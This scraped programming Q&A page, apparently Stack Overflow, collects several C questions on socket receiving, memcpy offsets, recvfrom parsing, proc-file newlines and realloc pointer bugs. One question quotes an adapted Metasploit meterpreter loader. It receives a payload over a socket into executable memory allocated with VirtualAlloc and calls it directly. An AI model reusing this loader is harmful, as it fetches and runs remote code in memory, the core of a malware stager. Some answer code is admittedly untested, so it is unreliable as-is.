C - Problems extracting data from buffer. Possibly endianess-related - c

I'm having some difficulties extracting data from a buffer using memcpy.
First, I memcpy some variables into a buffer:
int l1_connect(const char* hostname, int port) {
// Variables to be stored in the buffer
char *msg = "Hi, I'm a message"; // strlen(msg) == 17
uint16_t sender_id = htons(1); // sizeof(sender_id) == 2
uint16_t packet_size = htons(sizeof(packet_size)+sizeof(sender_id)+strlen(msg)); // sizeof(packet_size) == 2
// Checking values
printf("l1_connect():\nsender_id: %d, packet_size: %d\n\n", ntohs(sender_id), ntohs(packet_size));
// sender_id == 1, packet_size == 21
// The buffer
char buf[100];
// Copying everything
memcpy(&buf, &sender_id, sizeof(sender_id));
memcpy(&buf+sizeof(sender_id), &packet_size, sizeof(packet_size));
memcpy(&buf+sizeof(sender_id)+sizeof(packet_size), &msg, strlen(msg));
// Passing buf to another function
int bytes_sent = l1_send(1, buf, sizeof(buf));
}
I then try to extract that data (checking, before sending over UDP socket):
int l1_send( int device, const char* buf, int length ) {
// Variables in which to store extracted data
uint16_t id = 0;
uint16_t size = 0;
char msg[50];
memcpy(&id, &buf, sizeof(id));
memcpy(&size, &buf+sizeof(id), sizeof(size));
int remaining = ntohs(size) - (sizeof(id) + sizeof(size));
printf("l1_send():\nremaining: %d\n", remaining); // -37041
// memcpy-ing with correct(?) offset
memcpy(&msg, &buf+sizeof(id)+sizeof(size), 50);
msg[49] = '\0';
printf("id: %d\n", ntohs(id)); // 8372
printf("size: %d\n", ntohs(size)); // 37045
printf("msg: %s\n", msg); // ��$_�
return 0; // For now
}
As you can see, the values aren't quite what I'm expecting. Can anyone tell me what I'm doing wrong?

Your pointer math is incorrect. You're using &buf where you should just be using buf. If this doesn't explain what is wrong, nothing else I can say will:
#include <stdio.h>
int main(int argc, char **argv)
{
char buff[100];
printf("buff : %p\nbuff+10 : %p\n&buff+10 : %p\n", buff, buff+10, &buff+10);
return 0;
}
Output (varies by platform, obviously)
buff : 0xbf87a8bc
buff+10 : 0xbf87a8c6
&buff+10 : 0xbf87aca4
See it live. The math you're doing is incrementing by type, which for &buf is a pointer to array of 100 chars; not a simple char address. Therefore, &buff + 10 (in my sample) says "give me the 10th array of 100 chars from where I am now.". The subsequent write is invoking undefined behavior as a consequence.
Valgrind is your buddy here, btw. It would have caught this in a heartbeat.
Update
May as well fill in the entire gambit while I'm here. This is also wrong in l1_send:
memcpy(&id, &buf, sizeof(id));
// this------^
and the subsequent other areas you're using it in that function. You're taking the address of a parameter pointer, not the value within it. I'm confident you need buf there as well.

Try this:
memcpy(buf, &sender_id, sizeof(sender_id));
memcpy(buf + sizeof(sender_id), &packet_size, sizeof(packet_size));
memcpy(buf + sizeof(sender_id) + sizeof(packet_size), msg, strlen(msg));
To help you understand what is wrong with your code, you can read this.
Related: Pointer math vs. Array index

Related

Reading large amount of data from socket in c

I have a python tcp server that accepts connections and generates a random string of length between (0,1M) characters, on the other side I have a c client that needs to listen on that socket and read the string and convert it into a single char of the same length as the string returned by the server
int receiver(int soc_desc, char * buffer)
{
char *arr = (char *)malloc(sizeof(char));
unsigned int received , total_received;
while (1)
{
memset(arr, 0, MAX); // clear the buffer
if ( received = recv(soc_desc, arr , MAX, 0) < 0)
{
break;
}
else
{
total_received += received;
}
}
printf("%s\n",arr);
return received;
}
// soc_desc is the socket descriptor
// buffer is the buffer that will hold the final output
The only way that I can think of is using malloc to read chunks of the data returned from the server but I am having bad time trying to figure it out and I need to convert the array of char pointers into a single char when the client is done receiving data from the server
Reassembling network data, particularly from TCP, can get tricky. The following code is untested and surely doesn't account for all contingencies, but hopefully is down the right path of what you need to do.
ssize_t receiver(int soc_desc, char * buffer)
{
// Whats the buffer argument used for?
// what you had before only allocated space for 1 char. That's not what you want
// This allocates for MAX+1 chars (I'm doing +1 for a NUL terminator)
char *arr = malloc(MAX+1);
// if MAX is small enough, you could do
// char arr[MAX+1];
// 0 buffer. You could use calloc instead of malloc + memset
memset(arr, 0, MAX+1);
// initialize total_received to 0
ssize_t received , total_received = 0;
size_t spaceLeftInBuf = MAX;
while (1)
{
// don't memset here, you'll erase the data you received last iteration
// write data to arr+total_receieved. This way you won't overwrite what
// you received the last iteration
received = recv(soc_desc, arr+total_received, spaceLeftInBuf, 0);
if (received < 0)
{
// there was an error
perror("recv failed: ");
// do something with the data already received? Ok, break and
// print what we've got
break;
}
else if (received == 0)
{
// socket closed gracefully, suppose we can break again and print
// what we've got
break;
else
{
// update counters
total_received += received;
spaceLeftInBuf -= received;
// is our buffer full? This may not be the right check, you need to
// decide when to process the data
// total_received better not ever be > MAX...
if (total_received >= MAX)
{
// "process" the data by printing it
printf("%s\n", arr);
// reset
total_received = 0;
spaceLeftInBuf = MAX;
// not particularly necessary to reset this to all 0s, but should
// make sure printing goes smoothly if we break out of this loop
memset(arr, 0, MAX); // arr[MAX] should already be '\0' from above
}
}
}
printf("%s\n",arr);
return received;
}
See Do I cast the result of malloc?
I found a way to do it but this is not tested enough and for sure will cause memory issues
char *arr = malloc(sizeof(char));
char tmp_buff[MAX];
memset(arr,0,MAX);
while (recv(soc_desc, tmp_buff , MAX, 0) > 0 )
{
strcat(arr , tmp_buff);
printf("Size : %ld arr : %s\n",strlen(tmp_buff),tmp_buff);
}

loading an running an exe file from a buffer in C

I wanted to retrieve an exe file from a socket and run it right from the buffer in C . I've found this little loader in github which was written to load meterpreter:
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
As far as i know it works like this:
it gets the size of the exe file and allocates a buffer with the size + 5.
then it downloads the file using a socket and saves it in the buffer.
and casts the buffer to a pointer to function and simply calls the function.
That's what is does from a high abstraction. Though I don't exactly know what buffer[0] = 0xBF; actually does.
I've tried to change the code to run my exe file like this (the rest of functions are exactly the same as the original code):
//receive the agent data
int recv_all(SOCKET my_socket, void* buffer, int len) {
int tret = 0;
int nret = 0;
char* startb = (char *) buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
startb += nret;
tret += nret;
}
return tret; // length of received Data
}
int main(int argc, char *argv[]){
char host[] = "localhost";
int port = 4444;
int count;
ULONG32 size = 624128; //size of my file hard coded
char *buffer;
void (* function)();
SOCKET my_socket;
winsock_init();
my_socket = wsconnect(host, port);
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL){
punt(my_socket, "could not allocate buffer");
}
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}
As you can see I've just hard coded the size of my file in bytes.
Here is how I send the file:
f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
c.send(l)
l = f.read(1024)
f.close()
But after running the C code I get "Access violation":
Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
I'd appreciate any help on why this happens and what I am doing wrong.

Accessing values from recvfrom() buffer [duplicate]

This question already has answers here:
Passing a structure through Sockets in C
(7 answers)
Closed 8 years ago.
I am having a problem with the following. In particular, I am trying to extract a uint32_t and a char* from the buffer argument passed into the recvfrom() method. At this point, the integer can be extracted properly using the following code:
recvfrom(s, buf, buffer_size, 0, (struct sockaddr*)&si_other, &slen);
uint32_t recv_int = ntohl(*(int*)buf);
char* recv_char = (char*)malloc(6); // NOTE: The original string was "Hello", which has 6 bytes.
strcpy(recv_char, ((char*)buf + sizeof(uint32_t)));
printf("The returned values are %d %s\n", recv_int, recv_char);
However, when I perform printf as shown above, only recv_int has a value. recv_char is a blank string. However, I originally stored "Hello" in the buffer and hence, "Hello" should be printed to stdout.
EDIT:
This is the code that was being used in sendto():
uint32_t my_int = 3;
char* sendString = "Hello";
char* buffer = (char*)malloc(strlen(sendString) + sizeof(int));
memcpy(buffer, &my_int, sizeof(int));
strcpy((char*)buffer + sizeof(int), sendString);
if (sendto(s, buffer, sizeof(int) + strlen(sendString), 0, (struct sockaddr*)&si_other, slen) == -1)
{
printf("Issue with send\n");
}
Any help would be appreciated.
You need to make the send buffer one byte bigger to account for the 0 termination of the char string.
char* buffer = (char*)malloc(strlen(sendString) + 1 + sizeof(int));

Newline characters not showing up in proc file

So I'm writing a linux kernel module that involves writing to a proc file. Unfortunately something is going wrong with the newline character. If I open it with vim, it shows as "num^#num^#num^#". If I cat it, it says "numnumnum". It should go to a new line at the end of each "num".
My code for writing each entry to the proc file admittedly seems kind of hacky.
bufSize = snprintf(str,0,"%lu\n",var);
str = (char*)kmalloc(bufSize*sizeof(char),GFP_KERNEL);
snprintf(str,bufSize,"%lu\n",var);
memcpy(msg+msglen,str,bufSize);
msglen+=(bufSize);
kfree(str);
I don't know how long the string will be, so the first snprintf gets the length needed for the buffer. The buffer is initialized, then snprintf is called again. The string is then copied to msg, which contains the data for the proc file. The pointer is incremented by the length of the existing message.
int procfile_read(char *buffer, char **buffer_location, off_t offset, int
buffer_length, int *eof, void *data) {
int ret;
printk(KERN_INFO "procfile_read (/proc/%s) called\n", PROCFS_NAME);
if (offset > 0) {
/* we have finished to read, return 0 */
ret = 0;
} else {
/* fill the buffer, return the buffer size */
memcpy(buffer, msg, msglen);
ret = msglen;
}
return ret;
This is pretty much copied and pasted from a tutorial.
Thanks!
Buffer size is too small
bufSize = snprintf(str,0,"%lu\n",var);
// + 1
str = (char*)kmalloc((bufSize + 1)*sizeof(char),GFP_KERNEL);
// + 1
snprintf(str,bufSize + 1,"%lu\n",var);
// + 1
memcpy(msg+msglen,str,bufSize + 1);
// no + 1 here
// Note that msglen is the string length. Add 1 for the size needed.
msglen+=(bufSize);
kfree(str);

Issues with C in realloc() or free() or double free or corruption

I am trying to capture audio packets of variable size, strip the RTP header, then concatenate the audio data to 20 bytes each. My goal is to create something like a queue and just use pointer arithmetic to chop up data before I copy 20 bytes to a buffer. The issue occurs when I get a large amount of audio bytes coming into the queue(probably greater than 20). Here is the while loop that captures, copies to queue, and chops up the data:
run_flag = TRUE;
unsigned char *qs_ptr = NULL; //the very start of the queue
unsigned char *qcur_ptr = NULL; //the start of current audio packet
unsigned char *qsa_ptr = NULL; //the start of new incoming audio data
unsigned char *tmp_ptr = NULL; //points to the start of next audio packet to send
unsigned char audio_buf[20];
unsigned char buf[MAX_PACKET_LEN];
unsigned char *pkt_no_hdr = NULL;
int num_audio_bytes;
int tot_bytes;
int num_in_q;
/* listen for voip packets */
/* collection */
/* keeps track of audio bytes, send data when = 20 */
pf=fopen("rtp.dat","w");
while (run_flag==TRUE) {
if ((num_bytes = read(fd, buf, MAX_PACKET_LEN)) < 0) {
perror("recv");
close(sd);
exit(1);
}
pkt_no_hdr = (unsigned char *)calloc(num_bytes-12, sizeof(unsigned char));
/* remove 12 rtp header bytes */
num_audio_bytes = rem_rtp_hdr(pkt_no_hdr, &buf, num_bytes);
print_bytes(pkt_no_hdr, num_bytes-12);
printf("num audio bytes: %d\n", num_bytes-12);
tot_bytes+=num_audio_bytes;
num_in_q+=num_audio_bytes;
printf("num_in_q: %d\n", num_in_q);
cpy_to_q(&qs_ptr, &qcur_ptr, &qsa_ptr, pkt_no_hdr, num_audio_bytes, tot_bytes);
free(pkt_no_hdr);
if(num_in_q >= 20) {
tmp_ptr = qcur_ptr + 20;
memcpy(audio_buf, qcur_ptr, 20);
qcur_ptr = tmp_ptr;
print_bytes(audio_buf, 20);
// add header
// send mcast packet
num_in_q -= 20;
}
}
Here's the cpy_to_q function:
void cpy_to_q(unsigned char **qs_ptr, unsigned char **qcur_ptr, unsigned char **qsa_ptr, unsigned char *data, int num_bytes, int tot_bytes) {
if(*qs_ptr == NULL) {
*qs_ptr = (unsigned char *)malloc(num_bytes*sizeof(unsigned char) + 1);
*qcur_ptr = *qs_ptr;
*qsa_ptr = *qs_ptr;
memcpy(*qs_ptr, data, num_bytes);
} else {
*qs_ptr = (unsigned char *)realloc(*qs_ptr, tot_bytes*sizeof(unsigned char) + 1);
printf("size of q: %d\n", tot_bytes);
*qsa_ptr += num_bytes;
memcpy(*qsa_ptr, data, num_bytes);
}
}
I keep getting errors related to realloc() or free() which must happen in the cpy_to_q function:
\*** glibc detected \*** ./voipBridge: free(): invalid next size (fast): 0x000000000213b5b0 \***
Here is what valgrind says when the issue occurs:
Thread 1: status = VgTs_Runnable
==3799== at 0x4C2B4F0: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==3799== by 0x401211: cpy_to_q (handle_q.c:21)
==3799== by 0x40177A: rcv_enter code herertp (net_interface.c:142)
==3799== by 0x401D89: main (voip_bridge.c:48)
Here is what the log says before the issue:
num audio bytes: 6 n
num_in_q: 14
REALLOC
size of q: 94
bytes: 0bd2d4b5da0f
num audio bytes: 6
num_in_q: 20
REALLOC
size of q: 100
bytes: b15c0f0b86f3b15a0f0bd2d4b5da0f0000000000
bytes: 08cb24ad9a0f
num audio bytes: 6
num_in_q: 6
REALLOC
size of q: 106
bytes: 22c6a0d000e3980ba0f27ccca4336ef243e3168e57150fd6e388b8c7bf
num audio bytes: 29
num_in_q: 35
REALLOC
size of q: 135
*** glibc detected *** ./voipBridge: double free or corruption (out): 0x00000000023432f0 ***
Also, I realize the queue will just keep getting larger and larger. Is there a way to free up memory without freeing the entire block?
Thanks.
This is a significant problem:
void cpy_to_q(unsigned char **qs_ptr, unsigned char **qcur_ptr, unsigned char **qsa_ptr,
unsigned char *data, int num_bytes, int tot_bytes) {
if(*qs_ptr == NULL) {
*qs_ptr = (unsigned char *)malloc(num_bytes*sizeof(unsigned char) + 1);
*qcur_ptr = *qs_ptr;
*qsa_ptr = *qs_ptr;
memcpy(*qs_ptr, data, num_bytes);
} else {
// HERE YOU REALLOC THE BASE PTR, BUT DON"T REPOS THE CUR PTR
*qs_ptr = (unsigned char *)realloc(*qs_ptr, tot_bytes*sizeof(unsigned char) + 1);
printf("size of q: %d\n", tot_bytes);
*qsa_ptr += num_bytes;
memcpy(*qsa_ptr, data, num_bytes);
}
}
When the allocation finally becomes significant enough to warrant a new full page alloc, realloc() will work, but now you have a current-pointer still pointing to an old queue that doesn't even exist anymore.
To fix this, keep the delta from the current queue in a tmp size var, then base the new cur_ptr off the new queue-base after the realloc. The same housekeeping logic is needed for the sa ptr, btw.
So something like this, and note this assumes your list always grows and has an entirely separate reset() or shrink() mechanism.
void cpy_to_q
(
unsigned char **qs_ptr,
unsigned char **qcur_ptr,
unsigned char **qsa_ptr,
unsigned char *data,
int num_bytes,
int tot_bytes
)
{
if(*qs_ptr == NULL)
{
*qs_ptr = malloc(num_bytes*sizeof(unsigned char) + 1);
*qcur_ptr = *qs_ptr;
*qsa_ptr = *qs_ptr;
memcpy(*qs_ptr, data, num_bytes);
}
else
{
size_t cur_diff = *qcur_ptr - *qs_ptr;
size_t sa_diff = *qsa_ptr - *qs_ptr;
// now realloc (note: you really should error check this)
*qs_ptr = realloc(*qs_ptr, tot_bytes*sizeof(unsigned char) + 1);
printf("size of q: %d\n", tot_bytes);
// now reposition your old pointers.
*qcur_ptr = *qs_ptr + cur_diff;
*qsa_ptr = *qs_ptr + sa_diff;
// and finally continue as before
*qsa_ptr += num_bytes;
memcpy(*qsa_ptr, data, num_bytes);
}
}

Resources